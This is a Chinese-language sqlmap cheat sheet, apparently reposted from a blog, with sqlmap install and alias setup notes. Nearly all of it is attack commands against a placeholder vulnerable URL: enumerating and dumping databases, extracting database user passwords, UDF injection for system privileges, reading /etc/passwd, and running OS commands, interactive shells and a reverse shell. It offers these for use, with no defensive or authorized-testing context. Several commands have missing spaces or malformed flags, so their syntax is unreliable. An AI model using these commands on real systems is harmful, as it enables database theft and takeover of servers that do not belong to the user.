测试环境:ubuntu 10.10 sqlmap/1.0-dev (r4405)
转载请说明来源:http://hi.baidu.com/nginxshell & lostwolf
建议linux下使用sqlmap windows下容易报错
更新升级 :
sqlmap -update
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
帮助:
sqlmap -h
******************基本步骤***************
sqlmap -u "http://url/news?id=1" --level=3 --smart --dbms "Mysql" --current-user #获取当前用户名称
sqlmap -u "http://www.xxoo.com/news?id=1" --level=3 --smart --dbms "Mysql" --current-db #获取当前数据库名称
sqlmap -u "http://www.xxoo.com/news?id=1" --level=3 --smart --dbms "Mysql"--tables -D "db_name" #列表名
sqlmap -u "http://url/news?id=1" --level=3 --smart --dbms "Mysql" --columns -T "tablename" users-D "db_name" -v 0 #列字段
sqlmap -u "http://url/news?id=1" --level=3 --smart --dbms "Mysql" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容
******************信息获取******************
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --users #列数据库用户
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dbs#列数据库
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--passwords #数据库用户密码
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--passwords-U root -v 0 #列出指定用户数据库密码
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dump-all -v 0 #列出所有数据库所有表
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--privileges #查看权限
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--privileges -U root #查看指定用户权限
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --is-dba -v 1 #是否是数据库管理员
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --roles #枚举数据库用户角色
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--udf-inject #导入用户自定义函数(获取系统权限!)
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--dump-all --exclude-sysdbs -v 0 #列出当前库所有表
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --union-check #是否支持union 注入
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--union-cols #union 查询表记录
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --union-test #union 语句测试
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --union-use --banner #采用union 注入
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--union-test --union-tech orderby #union 配合 order by
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--method "POST" -- data "id=1&cat=2" #post注入
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--cookie "COOKIE_VALUE" #cookie注入
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"-b #获取banner信息
sqlmap -u "http://url/news?id=1" --level=3 --smart-v 1 -f #指纹判别数据库类型
sqlmap -u "http://url/news?id=1" --level=3 --smart--proxy"http://127.0.0.1:8118" #代理注入
sqlmap -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE" #指定关键词
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--sql-shell #执行指定sql命令
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--file /etc/passwd
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--os-cmd=whoami #执行系统命令
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--os-shell #系统交互shell
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--os-pwn #反弹shell
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--reg-read #读取win系统注册表
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dbs-o "sqlmap.log" #保存进度
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dbs -o "sqlmap.log" --resume #恢复已保存进度
***********安装最新版本*************
ubuntu 通过 apt-get install 安装的sqlmap版本为 0.6
我们通过svn 来安装 为 最新 1.0版
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py
直接执行 /home/当前用户/sqlmap-dev/sqlmap.py --version
这样很不方便 我们可以设置 .bashrc 文件
sudo vim /home/当前用户/.bashrc
#任意位置加上:
alias sqlmap='python /home/seclab/sqlmap-dev/sqlmap.py'
该环境变量只对当前用户有效
如果想对所有用户有效 可设置全局 编辑下面的文件
vim /etc/profile
同样加上:
alias sqlmap='python /home/seclab/sqlmap-dev/sqlmap.py'
重启生效